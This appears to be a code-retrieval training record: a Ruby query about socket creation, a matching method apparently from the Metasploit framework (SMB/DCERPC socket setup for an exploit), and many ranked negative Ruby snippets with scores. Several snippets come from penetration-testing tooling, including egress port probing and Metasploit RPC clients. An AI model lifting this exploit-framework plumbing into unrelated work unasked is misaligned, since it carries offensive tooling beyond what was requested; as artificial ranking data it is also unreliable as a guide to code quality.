"def rpc_helper\n @rpc_helper ||= RpcHelper.new(\n ENV['MONACOIN_MAIN_FAUCET_RPC_USER'],\n ENV['MONACOIN_MAIN_FAUCET_RPC_PASSWORD'],\n Rails.env.production? ? 'localhost' : '192.168.1.12',\n Rails.env.production? ? 9402 : 19402)\n end",
"def initialize client, importer, db_address, db_name, login, password, query\n @db_address = db_address\n @db_name = db_name\n @login = login\n @password = password\n @query = query\n super client, importer, nil\n end",
"def initialize(data)\n @parms = data\n end",
"def initialize(params)\n raise \"Rarameters must be a Hash\" unless params.instance_of? Hash\n @rparams = NWRFC.make_conn_params(params)\n raise \"Could not create valid pointer from parameters\" unless @rparams.instance_of? FFI::MemoryPointer\n @error = NWRFCLib::RFCError.new\n @handle = NWRFCLib.register_server(@rparams, params.size, @error)\n NWRFC.check_error(@error)\n end",
"def initialize(user_options)\n\n # configure default options\n @options = {\n :project => user_options[:project] || \"default\",\n :port => user_options[:port] || 55553,\n :user => user_options[:rpc_user],\n :pass => user_options[:rpc_pass],\n :db_host => user_options[:db_host] || \"localhost\",\n :db_user => user_options[:db_user],\n :db_pass => user_options[:db_pass],\n :db_name => user_options[:db_name] || \"msf\"\n }\n\n @options.merge!(user_options)\n\n #\n # Connect to the RPC daemon using the default client\n #\n @client = Msf::RPC::Client.new(@options)\n\n # connect to the database \n _connect_database\n end",
"def initialize(*args); end",
"def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/ads/google_ads/v3/services/mutate_job_service_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n credentials ||= Credentials.default scope: @config.scope\n if credentials.is_a?(String) || credentials.is_a?(Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = Operations.new do |config|\n config.credentials = credentials\n config.endpoint = @config.endpoint\n end\n\n @mutate_job_service_stub = ::Gapic::ServiceStub.new(\n ::Google::Ads::GoogleAds::V3::Services::MutateJobService::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end",
"def initialize( rest_url = nil, params = {}, test_mode: false, debug_mode: false )\n\n # Of course it can, lots of processes defines the url later.\n # raise \"RubyBareEsi.initialize : rest_url can't be nil\" unless rest_url\n\n @debug_mode = debug_mode || ENV['EBS_DEBUG_MODE'] == 'true'\n @test_mode = test_mode\n\n puts 'RubyBareEsi.initialize : debug mode on' if @debug_mode\n\n @rest_url = rest_url\n @params = params.merge( ESI_DATA_SOURCE )\n @forbidden_count = 0\n end",
"def initialize(host)\n super(host,'/interface/xmlrpc')\n @logged_in = false\n @fastserver = false\n @lastupdate = ''\n end",
"def initialize(session_id, args = {})\n session_id = session_id.id if session_id.is_a?(SessionID)\n @session_id = session_id.freeze\n super(CALL_NAME, args) do\n SessionID session_id\n end\n end",
"def call_as_constructor(ctx,object,argumentCount,arguments,exception)\n JS::Lib.JSObjectCallAsConstructor(ctx,object,argumentCount,arguments,exception)\n end",
"def call(*) end",
"def call(*) end",
"def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/cloud/datalabeling/v1beta1/data_labeling_service_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n [email protected](\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @data_labeling_service_stub = ::Gapic::ServiceStub.new(\n ::Google::Cloud::DataLabeling::V1beta1::DataLabelingService::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end",
"def init\n\n end",
"def initialize() #method\n @functions = {}\n end",
"def post_init\n send_data @init_request\n end",
"def initialize(config: nil, block: true)\n # create a channel and exchange that both client and server know about\n config ||= CarrotRpc.configuration\n @thread_request_variable = config.thread_request_variable\n @channel = config.bunny.create_channel\n @logger = config.logger\n @block = block\n setup_queue(config)\n @exchange = @channel.default_exchange\n end",
"def initialize(cmd,tmpl_filename,addr=\"127.0.0.1\",reinit=[],port=7777)\n\n\t\t\t@addr,@port,@cmd,@tmpl_filename=addr,DyndocServers.dyn_cli_port? || port,cmd,tmpl_filename\n\t\t\t##p [:tmpl_filename,@tmpl_filename,@cmd]\n\t\t\t## The layout needs to be reintailized for new dyndoc file but not for the layout (of course)!\n\t\t\tdyndoc_cmd=\"dyndoc\"\n\t\t\tdyndoc_cmd += \"_with_tag_tmpl\" if reinit.include? :dyndoc_tag_tmpl\n\t\t\tdyndoc_cmd += \"_with_libs_reinit\" if reinit.include? :dyndoc_libs\n\t\t\tdyndoc_cmd += \"_with_layout_reinit\" if reinit.include? :dyndoc_layout\n\n#p [:addr,@addr]\n\t\t\tSocket.tcp(@addr, @port) {|sock|\n\t\t\t\t\tmsg='__send_cmd__[['+dyndoc_cmd+'|'+@tmpl_filename+']]__' + @cmd + @@end_token\n\t\t\t\t\t#p msg\n \t\t\t\tsock.print msg\n\t\t\t\t\t#sleep 1\n \t\t\t\tsock.close_write\n \t\t\t\t@result=sock.read\n\t\t\t}\n\n\t\t\[email protected](@@end_token,-1)\n\t\t\tlast=data.pop\n\t\t\tresCmd=decode_cmd(data.join(\"\"))\n\t\t\t##p [:resCmd,resCmd]\n\t\t\tif resCmd and resCmd[:cmd] != \"windows_platform\"\n\t\t\t\t@content=resCmd[:content]\n\t\t\tend\n\t\tend",
"def initialize\n ctx = FFI::MemoryPointer.new :pointer\n result = Gsasl.gsasl_init(ctx)\n @context = ctx.get_pointer(0)\n Gsasl.raise_error!(result)\n @peers = {}\n Gsasl.new_context @context.address, self\n Gsasl.gsasl_callback_set(@context, CALLBACK)\n end",
"def initialize(func, *args)\n @func = func\n @args = args\n end",
"def initialize(cep, options = {})\n if cep.nil?\n raise ArgumentError, 'CEP cannot be nil'\n end\n\n cep = cep.to_s.delete('^0-9')\n\n if cep.length != 8\n raise ArgumentError, 'CEP must have 8 digits'\n end\n\n response = Service.fetch cep, options[:timeout]\n fill_from response\n end",
"def protocol=(_arg0); end"
] | [
"0.6539662",
"0.6278152",
"0.6147834",
"0.59695613",
"0.5963122",
"0.58888793",
"0.5850186",
"0.58359414",
"0.580984",
"0.57844204",
"0.56751996",
"0.5642232",
"0.5597408",
"0.5590486",
"0.5589582",
"0.5583824",
"0.55624396",
"0.5559607",
"0.555768",
"0.55562997",
"0.554995",
"0.554995",
"0.5545555",
"0.55454385",
"0.55363256",
"0.5512194",
"0.5504299",
"0.5504299",
"0.5504299",
"0.5504299",
"0.5504299",
"0.5504299",
"0.5504299",
"0.5504299",
"0.55004907",
"0.5496056",
"0.5466066",
"0.5464702",
"0.5447458",
"0.5437697",
"0.5432352",
"0.5425979",
"0.54254574",
"0.5423697",
"0.542258",
"0.54221815",
"0.54221624",
"0.5421327",
"0.540788",
"0.5407347",
"0.5396692",
"0.53944516",
"0.53921455",
"0.5390655",
"0.53873587",
"0.53873587",
"0.53873587",
"0.53873587",
"0.53813106",
"0.5380377",
"0.5357325",
"0.53553784",
"0.5341792",
"0.5340654",
"0.53339386",
"0.53332096",
"0.53298604",
"0.53289634",
"0.53289634",
"0.5327757",
"0.53276205",
"0.53220046",
"0.53213304",
"0.53213304",
"0.53213304",
"0.53213304",
"0.53213304",
"0.5319171",
"0.5304806",
"0.53027266",
"0.5299332",
"0.52991253",
"0.5297806",
"0.5287304",
"0.52851355",
"0.5284669",
"0.5281946",
"0.5277997",
"0.5273666",
"0.52729416",
"0.52729416",
"0.5271847",
"0.5269351",
"0.52675986",
"0.52585244",
"0.52552134",
"0.525459",
"0.5247162",
"0.52394974",
"0.5235421",
"0.52351636"
] | 0.0 | -1 |
Create the appropriate socket based on protocol | def socket_setup()
ctx = { 'Msf' => self.options['Msf'], 'MsfExploit' => self.options['MsfExploit'] }
self.socket = case self.handle.protocol
when 'ncacn_ip_tcp'
Rex::Socket.create_tcp(
'PeerHost' => self.handle.address,
'PeerPort' => self.handle.options[0],
'Context' => ctx,
'Timeout' => self.options['connect_timeout']
)
when 'ncacn_np'
begin
socket = Rex::Socket.create_tcp(
'PeerHost' => self.handle.address,
'PeerPort' => 445,
'Context' => ctx,
'Timeout' => self.options['connect_timeout']
)
rescue ::Timeout::Error, Rex::ConnectionRefused
socket = Rex::Socket.create_tcp(
'PeerHost' => self.handle.address,
'PeerPort' => 139,
'Context' => ctx,
'Timeout' => self.options['connect_timeout']
)
end
socket
else nil
end
# Add this socket to the exploit's list of open sockets
options['MsfExploit'].add_socket(self.socket) if (options['MsfExploit'])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create(param)\n\t\tsock = nil\n\n\t\t# Notify handlers before we create the socket\n\t\tnotify_before_socket_create(self, param)\n\n\t\tcase param.proto\n\t\t\twhen 'tcp'\n\t\t\t\tsock = net.socket.create(param)\n\t\t\telse\n\t\t\t\traise Rex::UnsupportedProtocol.new(param.proto), caller\n\t\tend\n\n\t\t# Notify now that we've created the socket\n\t\tnotify_socket_created(self, sock, param)\n\n\t\t# Return the socket to the caller\n\t\tsock\n\tend",
"def create(param)\n\t\tsock = nil\n\n\t\t# Notify handlers before we create the socket\n\t\tnotify_before_socket_create(self, param)\n\n\t\tsock = net.socket.create(param)\n\n\t\t# sf: unsure if we should raise an exception or just return nil. returning nil for now.\n\t\t#if( sock == nil )\n\t\t# raise Rex::UnsupportedProtocol.new(param.proto), caller\n\t\t#end\n\n\t\t# Notify now that we've created the socket\n\t\tnotify_socket_created(self, sock, param)\n\n\t\t# Return the socket to the caller\n\t\tsock\n\tend",
"def create_socket\n if @uri.scheme == 'wss'\n create_ssl_socket.tap(&:connect)\n else\n TCPSocket.new(@uri.host, @port)\n end\n end",
"def socket type\n sock = nil\n begin\n sock = Socket.new @context, type\n rescue ContextError => e\n sock = nil\n end\n\n sock\n end",
"def create_socket\n socket = ::Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, 0)\n sockaddr = ::Socket.sockaddr_in(PORTS.sample, self.hostname)\n begin # emulate blocking connect\n socket.connect_nonblock(sockaddr)\n rescue IO::WaitWritable\n IO.select(nil, [socket]) # wait 3-way handshake completion\n begin\n socket.connect_nonblock(sockaddr) # check connection failure\n rescue Errno::EISCONN\n end\n end\n socket\n end",
"def initialize(domain, type, protocol)\r\n SocketError.check if (@fd = Winsock.socket(domain, type, protocol)) == -1\r\n @fd\r\n end",
"def socket_protocol\n\t\t\t\taddress.protocol\n\t\t\tend",
"def initialize(domain, type, protocol)\n @descriptor = Winsock.socket(domain, type, protocol)\n SocketError.check if @descriptor == -1\n return @descriptor\n end",
"def default_socket_class; end",
"def initialize(type, endpoint = nil, context = nil)\n @context = context || Context.instance.xs_context\n @sock = @context.socket xs_const(type)\n @endpoint = endpoint\n\n fail \"Creating socket #{type} failed\" unless @sock\n end",
"def default_protocol(type)\n case type\n when 'stream'\n 'tcp'\n when 'dgram'\n 'udp'\n else\n 'unknown'\n end\n end",
"def default_socket_class=(_arg0); end",
"def new_socket\n membership = IPAddr.new(@broadcast).hton + IPAddr.new('0.0.0.0').hton\n ttl = [@ttl].pack 'i'\n\n socket = UDPSocket.new\n\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, membership\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_LOOP, \"\\000\"\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, ttl\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_TTL, ttl\n\n socket.bind '0.0.0.0', @port\n\n socket\n end",
"def socket(address, type)\n SSocket.new(address, type)\n end",
"def create_ssl_socket\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.set_params ssl_version: :TLSv1_2\n\n socket = TCPSocket.new(@uri.host, @port)\n OpenSSL::SSL::SSLSocket.new(socket, ctx)\n end",
"def open_socket\n @socket = Socket.new(:INET, :DGRAM)\n @socket.connect_nonblock Socket.sockaddr_in(@port, @host)\n end",
"def initsock(params = nil)\n if (params)\n self.peerhost = params.peerhost\n self.peerhostname = params.peerhostname\n self.peerport = params.peerport\n self.localhost = params.localhost\n self.localport = params.localport\n self.context = params.context || {}\n self.ipv = params.v6 ? 6 : 4\n end\n end",
"def init_socket\n @socket = Sockets::MasterServerSocket.new @ip_address, @port\n end",
"def network_protocol\n @options['network_protocol'] || 'tcp'\n end",
"def setup_socket\n self.socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)\n address = Socket.pack_sockaddr_in(@options[:port], @options[:host])\n socket.bind(address)\n socket.listen(@options[:max_connection_queue])\n log.info(\"Listening on #{@options[:host]}:#{@options[:port]}\")\n end",
"def init_socket\n @rcon_socket = RCONSocket.new @ip_address, @port\n @socket = SourceSocket.new @ip_address, @port\n end",
"def initialize(sock_type,address,sock_ctype)\n @context = ZMQ::Context.new(1)\n @socket = @context.socket(sock_type)\n if sock_ctype == :bind\n @socket.bind(address)\n else\n @socket.connect(address)\n end\n end",
"def create_socket\n\t\tiaddr = self.class.bind_addr\n\t\tsocket = UDPSocket.new\n\n\t\tsocket.setsockopt( :IPPROTO_IP, :IP_ADD_MEMBERSHIP, iaddr )\n\t\tsocket.setsockopt( :IPPROTO_IP, :IP_MULTICAST_TTL, self.class.multicast_ttl )\n\t\tsocket.setsockopt( :IPPROTO_IP, :IP_MULTICAST_LOOP, 1 )\n\t\tsocket.setsockopt( :SOL_SOCKET, :SO_REUSEPORT, 1 )\n\n\t\treturn socket\n\tend",
"def open_socket()\n socket = nil\n if @socket\n socket = @socket\n else\n Timeout::timeout(@sock_timeout) { socket = TCPSocket.new(@server, @port) }\n BasicSocket.do_not_reverse_lookup = true\n end\n\n return(socket)\n end",
"def socket_type\n\t\t\t\taddress.socktype\n\t\t\tend",
"def socket(type, opts={})\n opts[:context] = self\n ZMQ::Socket.new type, opts\n end",
"def set_socket\r\n @socket = TCPSocket.new(@server, @port) \r\n end",
"def new_socket sock\n #\n # allocate some memory for a new socket if\n # there is no free socket in the free_list\n sock_new = SockDesc.new sock\n\n # attach the new connection to the socket list\n $fSet << sock\n\n # set the socket as non-blocking\n sock.fcntl Fcntl::F_SETFL, Fcntl::O_NONBLOCK unless RUBY_PLATFORM =~ /win32/\n\n # update the linked list of sockets\n $dsock_list << sock_new\n\n # send the greeting\n sock_new.text_to_buffer $greeting\n sock_new.text_to_buffer \"What is your name? \"\n\n # initialize socket events\n init_events_socket sock_new\n\n # everything went as it was supposed to\n return true\nend",
"def connect(socket_class, host, port, nodelay = T.unsafe(nil)); end",
"def init_socket\n @socket.close if @socket\n retry_count = 0\n begin\n @logger.info(\"[MSGPACK-RPC] Connecting to Msgpack-RPC server...\") if @logger\n @socket = TCPSocket.new(host, port)\n configure_socket_keepalive\n init_ssl if use_ssl\n rescue Errno::ECONNREFUSED\n @logger.error(\"[MSGPACK-RPC] Connection refused\") if @logger\n retry_count += 1\n if retry_count == max_connect_retries\n raise MsgpackRpcClient::Error, \"Could not connect to MsgPack-RPC server\"\n else\n sleep(connect_retry_wait)\n # might have a chance with a different instance\n retry\n end\n end\n # Attach streaming packer/unpacker to the socket\n @packer = MessagePack::Packer.new(@socket)\n @unpacker = MessagePack::Unpacker.new(@socket, symbolize_keys: true)\n end",
"def cork_socket(socket); end",
"def initialize\n # we create this particular socket connection just to keep it open\n @soc = dtnsoc\n end",
"def create_socket\n attempt_number = 0\n\n begin\n attempt_number += 1\n socket = zmq_context.socket(::ZMQ::REQ)\n\n if socket # Make sure the context builds the socket\n server_uri = lookup_server_uri\n socket.setsockopt(::ZMQ::LINGER, 0)\n zmq_error_check(socket.connect(server_uri), :socket_connect)\n socket = socket_to_available_server(socket) if first_alive_load_balance?\n end\n end while socket.try(:socket).nil? && attempt_number < socket_creation_attempts\n\n raise RequestTimeout, \"Cannot create new ZMQ client socket\" if socket.try(:socket).nil?\n socket\n end",
"def checkout_new_socket(host, port)\n return nil if @all.size >= @size\n\n begin\n socket = TCPSocket.new(host, port)\n socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)\n rescue => ex\n raise ConnectionFailure, \"Failed to connect to host #{@host} and port #{@port}: #{ex}\"\n end\n\n # If any saved authentications exist, we want to apply those\n # when creating new sockets.\n @connection.apply_saved_authentication(:socket => socket)\n\n socket\n end",
"def protocol\n @protocol ||= @raw_protocol[0..-4]\n end",
"def create_socket(port) #:doc:\n splitted = port.split(//)\n splitted[splitted.size - 1] = (splitted[splitted.size - 1].to_i + 1).to_s\n port2 = splitted.join()\n\n @@socats[port] = IO.popen('socat -d -d pty,raw,echo=0,link='+AS_CONFIG['homedir']+port+' pty,raw,echo=0,link='+AS_CONFIG['homedir']+port2)\n sleep(2)\n @@sockets[params[\"serialPort\"]] = Arduino::Arduino.new(AS_CONFIG['homedir']+port)\n @@sockets[params[\"serialPort\"]].read\n return 0\n end",
"def open_socket()\n used_socket = @ssl ? open_ssl_socket : open_tcp_socket\n # try to close the old connection if any\n close_socket\n\n @closed = false\n if @parameters # nil in some rspec tests\n unless @reconnect_delay\n @reconnect_delay = @parameters[:initial_reconnect_delay] || iosto1\n end\n end\n # Use keepalive\n used_socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)\n\n # TCP_NODELAY option (disables Nagle's algorithm)\n used_socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, !!(@parameters && @parameters[:tcp_nodelay]))\n\n @iosto = @parse_timeout ? @parse_timeout.to_f : 0.0\n\n used_socket\n end",
"def socket; end",
"def socket; end",
"def socket; end",
"def socket; end",
"def socket; end",
"def get_transporter\n TCPSocket.open(@host, @port)\n end",
"def protocol_new(config)\r\n\t\t\tp = SwarmP2P::Protocol.new(self, config)\r\n\t\t\tprotocol_add(p)\r\n\t\t\tp\r\n\t\tend",
"def establish_socket_server\n @socket_server = Uninterruptible::Binder.new(server_configuration.bind).bind_to_socket\n\n if server_configuration.tls_enabled?\n @socket_server = Uninterruptible::TLSServerFactory.new(server_configuration).wrap_with_tls(@socket_server)\n end\n @socket_server\n end",
"def tls_socket socket\n socket = OpenSSL::SSL::SSLSocket.new socket, create_ssl_context\n socket.sync_close = true\n socket.hostname = @host unless RE_IP_ADDR.match(@host)\n socket.connect\n socket\n end",
"def socket\n @socket ||= TCPSocket.new(host, port)\n end",
"def obtain_socket(uri)\n socket = TCPSocket.new(uri.host, uri.port || socket_port(uri))\n\n if secure_uri?(uri)\n ctx = OpenSSL::SSL::SSLContext.new\n\n if ENV['DISCORDRB_SSL_VERIFY_NONE']\n ctx.ssl_version = 'SSLv23'\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # use VERIFY_PEER for verification\n\n cert_store = OpenSSL::X509::Store.new\n cert_store.set_default_paths\n ctx.cert_store = cert_store\n else\n ctx.set_params ssl_version: :TLSv1_2 # rubocop:disable Naming/VariableNumber\n end\n\n socket = OpenSSL::SSL::SSLSocket.new(socket, ctx)\n socket.connect\n end\n\n socket\n end",
"def checkout_new_socket\n begin\n socket = TCPSocket.new(@host, @port)\n socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)\n rescue => ex\n raise ConnectionFailure, \"Failed to connect socket: #{ex}\"\n end\n @sockets << socket\n @checked_out << socket\n socket\n end",
"def winapi_egress_to_port(proto, remote, dport, num)\n socket_handle = winapi_create_socket(proto)\n if socket_handle['return'] == 0\n vprint_status(\"[#{num}:WINAPI] Error setting up socket for #{remote}; Error: #{socket_handle['GetLastError']}\")\n return\n else\n vprint_status(\"[#{num}:WINAPI] Set up socket for #{remote} port #{proto}/#{dport} (Handle: #{socket_handle['return']})\")\n end\n\n vprint_status(\"[#{num}:WINAPI] Connecting to #{remote}:#{proto}/#{dport}\")\n r = winapi_make_connection(remote, dport, socket_handle['return'], proto)\n if r['GetLastError'] == 0\n vprint_good(\"[#{num}:WINAPI] Connection packet sent successfully #{proto}/#{dport}\")\n else\n vprint_bad(\"[#{num}:WINAPI] There was an error sending a connect packet for #{proto} socket (port #{dport}) Error: #{r['GetLastError']}\")\n end\n\n client.railgun.ws2_32.closesocket(socket_handle['return'])\n end",
"def inherit_socket; end",
"def get_ip_address_and_port_or_close_connection\n peername = get_peername\n if peername.nil?\n log(:error, :socket, 'new socket created, but unable to fetch ip & port, closing connection...')\n close_connection\n else\n @port, @ip_address = Socket::unpack_sockaddr_in(peername)\n log(:debug, :socket, \"new socket created (#{@ip_address}:#{@port})\")\n end\n end",
"def create_server_socket\n if @hostname\n s = TCPServer.open(@hostname, @port)\n else\n s = TCPServer.open(@port)\n end\n @port = s.addr[1]\n\n s.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)\n\n return s\n end",
"def egress(type, proto, remote, dport, num, gw)\n if type == 'WINAPI'\n if proto == 'ALL'\n winapi_egress_to_port('TCP', remote, dport, num)\n winapi_egress_to_port('UDP', remote, dport, num)\n else\n winapi_egress_to_port(proto, remote, dport, num)\n end\n elsif type == 'NATIVE'\n if proto == 'ALL'\n native_init_connect('TCP', remote, dport, num, gw)\n native_init_connect('UDP', remote, dport, num, gw)\n else\n native_init_connect(proto, remote, dport, num, gw)\n end\n end\n end",
"def local_socket(local_socket_path, remote_socket_path); end",
"def initialize_socket(uri, opts = {})\n return if opts[:socket]\n\n @socket = TCPSocket.new(uri.host, uri.port)\n opts.merge!({:socket => @socket})\n @intentional_termination = false\n end",
"def bind_socket(family,port,ip)\n socket = Socket.new(family, SOCK_STREAM, 0)\n sockaddr = Socket.sockaddr_in(port.to_i,ip)\n socket.setsockopt(:SOCKET, :REUSEADDR, true)\n socket.bind(sockaddr)\n socket.listen(0)\n return socket\n end",
"def socket_file\n base_info_file + '.socket'\n end",
"def ssl_socket_factory_from_options(ssl_options)\n trust_strategy = nil\n\n case ssl_options.fetch(:verify, :default)\n when :none, :disable\n trust_strategy = TrustAllStrategy::INSTANCE\n verifier = NoopHostnameVerifier::INSTANCE\n when false # compatibility\n trust_strategy = TrustSelfSignedStrategy::INSTANCE\n verifier = SSLConnectionSocketFactory::ALLOW_ALL_HOSTNAME_VERIFIER\n when :browser\n verifier = SSLConnectionSocketFactory::BROWSER_COMPATIBLE_HOSTNAME_VERIFIER\n when :default, true\n verifier = DefaultHostnameVerifier.new\n when :strict # compatibility\n verifier = SSLConnectionSocketFactory::STRICT_HOSTNAME_VERIFIER\n else\n raise \"Invalid value for :verify. Valid values are (:default, :browser, :none)\"\n end\n\n if ssl_options.include?(:trust_strategy)\n trust_strategy = TrustStrategies.combine(trust_strategy, ssl_options.fetch(:trust_strategy))\n end\n\n context = SSLContextBuilder.new\n setup_trust_store ssl_options, context, trust_strategy\n setup_key_store ssl_options, context\n\n SSLConnectionSocketFactory.new context.build, ssl_options[:protocols].to_java(:string), ssl_options[:cipher_suites].to_java(:string), verifier\n end",
"def setupSocket(waitp = true, host = nil, port = nil)\n # setup host/port\n @host = host || @host ;\n @port = port || @port ;\n logging(:info){ \"set TCP port = #{@host}:#{@port}.\" } ;\n\n # wait until the port open\n if(@host == 'localhost')\n Util::waitTcpPortIsReady(@port) ;\n end\n\n #open socket\n logging(:info){ \"try to open TCP socket to #{@host}:#{@port}.\" } ;\n @socket = TCPSocket::new(@host, @port) ;\n logging(:info){ \"success to open TCP socket to #{@host}:#{@port}.\" } ;\n\n return @socket ;\n end",
"def socket_port; end",
"def _protocol\n @_protocol ||= self.__send__(:_protocol=, RemoteConnection)\n end",
"def initialize_abstraction\n self.lsock, self.rsock = Rex::Socket.udp_socket_pair\n end",
"def initialize( * )\n\t\t@socket = UDPSocket.new\n\tend",
"def create(params)\n res = nil\n\n if params.tcp?\n if params.server?\n res = create_tcp_server_channel(params)\n else\n res = create_tcp_client_channel(params)\n end\n elsif params.udp?\n res = create_udp_channel(params)\n end\n\n return res\n end",
"def type\n @sock.name.downcase.to_sym\n end",
"def socket\n return @socket if @socket\n s = TCPSocket.new(host || '127.0.0.1', port || 2003) # CORRECT DEFAULT PORT?\n @socket = s\n @socket\n rescue ::SystemExit, ::Interrupt, ::SignalException\n raise\n rescue ::Exception => exc\n STDERR.puts \"#{self} socket: failed #{exc.inspect}\\n #{exc.backtrace * \"\\n \"}\"\n sleep 10\n retry\n end",
"def socket(options = {})\n @socket ||= Net::SSH::Test::Socket.new\n end",
"def create_ssl_socket(raw_socket)\n SSLSocketWrap.new(raw_socket, @ssl_config, (DEBUG_SSL ? @debug_dev : nil))\n end",
"def setup_socket\n ctx = setup_certificate\n\n APN.log(:debug, \"Connecting to #{@host}:#{@port}...\")\n\n socket_tcp = TCPSocket.new(@host, @port)\n OpenSSL::SSL::SSLSocket.new(socket_tcp, ctx).tap do |s|\n s.sync = true\n s.connect\n end\n end",
"def prepare_tcp_server(host: T.unsafe(nil), port: T.unsafe(nil), adapter: T.unsafe(nil)); end",
"def connect!\n host, port = @current_server.split(\":\")\n @socket = TCPSocket.new(host, port)\n @transport = Avro::IPC::SocketTransport.new(@socket)\n @requestor = Avro::IPC::Requestor.new(@options[:protocol], @transport)\n rescue Avro::AvroError, Errno::ECONNREFUSED, Errno::EPIPE, IOError => e\n @transport.close rescue nil\n raise e\n end",
"def connect!(agent_socket_factory = T.unsafe(nil), identity_agent = T.unsafe(nil)); end",
"def get_socket\n sock = UDPSocket.new\n sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)\n\n count = 0\n bound = false\n begin\n port = rand(2 ** 16 - 1024) + 1024\n debug \"Attempting to bind to #{@listen_ip}:#{port}\"\n sock.bind(@listen_ip, port)\n bound = true\n rescue \n warn \"Failed to bind to #{@listen_ip}:#{port}\"\n if count < MaxBindAttempts\n count += 1\n redo\n end\n end\n\n if bound\n info \"Handler #{@key} bound to #{@listen_ip} on port #{port}\"\n else\n raise TftpError, \"Can't seem to find a spare port to bind to.\"\n end\n\n return sock\n end",
"def establish_connection\n if @socket.nil?\n @socket = TCPSocket.new(@host, @port)\n end\n end",
"def establish_connection\n if @socket.nil?\n @socket = TCPSocket.new(@host, @port)\n end\n end",
"def initialize(socket,logger)\n @socket = socket\n fam, @port, *addr = @socket.getpeername.unpack('nnC4')\n\n @ip = addr.join('.')\n @log = logger\n @log.info { \"New connection from #{@ip}:#{@port}\" }\n end",
"def create( params )\n\t\tres = nil\n\n\t\tif( params.tcp? )\n\t\t\tif( params.server? )\n\t\t\t\tres = create_tcp_server_channel( params )\n\t\t\telse\n\t\t\t\tres = create_tcp_client_channel( params )\n\t\t\tend\n\t\telsif( params.udp? )\n\t\t\tres = create_udp_channel( params )\n\t\tend\n\n\t\treturn res\n\tend",
"def connection_factory type\n config = Myreplicator.configs[self.source_schema]\n puts self.source_schema\n puts config\n case type\n when :ssh\n if config.has_key? \"ssh_password\"\n return Net::SSH.start(config[\"ssh_host\"], config[\"ssh_user\"], :password => config[\"ssh_password\"])\n\n elsif(config.has_key? \"ssh_private_key\")\n return Net::SSH.start(config[\"ssh_host\"], config[\"ssh_user\"], :keys => [config[\"ssh_private_key\"]])\n end\n when :sftp\n if config.has_key? \"ssh_password\"\n return Net::SFTP.start(config[\"ssh_host\"], config[\"ssh_user\"], :password => config[\"ssh_password\"])\n\n elsif(config.has_key? \"ssh_private_key\")\n return Net::SFTP.start(config[\"ssh_host\"], config[\"ssh_user\"], :keys => [config[\"ssh_private_key\"]])\n end \n end\n end",
"def socket; @socket; end",
"def to_s\n case state\n when BOUND\n \"#{type_str} socket bound to #{endpoint}\"\n when CONNECTED\n \"#{type_str} socket connected to #{endpoint}\"\n else\n \"#{type_str} socket\"\n end\n end",
"def socket(hostport, num_retries=3)\n\n num_retries.times do |i|\n begin\n sock = TCPSocket.new(*hostport.split(':'))\n rescue Exception\n else\n return sock\n end\n end\n #signal_bad_server(hostport)\n nil\n #raise RuntimeError, \"Unable to connect to job server #{hostport}\"\n end",
"def create_outbound_tcp_socket\n label = \"#{@remote_host}:#{@remote_port}\"\n if @proxy_url\n log.info(\"Connecting to #{label} through proxy #{@proxy_url}\")\n\n popts = {}\n popts[:user_agent] = ENV['HTTP_USER_AGENT'] if ENV['HTTP_USER_AGENT']\n\n if popts[:user_agent]\n log.debug('Passing User-Agent: ' + popts[:user_agent].inspect)\n end\n\n @proxy = Proxifier::Proxy(@proxy_url, popts)\n tcp_socket = @proxy.open(@remote_host, @remote_port)\n else\n log.info(\"Connecting to #{label}\")\n tcp_socket = TCPSocket.new(@remote_host, @remote_port)\n end\n\n if @use_ssl\n create_ssl_socket(tcp_socket, @ssl_opts)\n else\n tcp_socket\n end\n end",
"def socket()\n #This is a stub, used for indexing\n end",
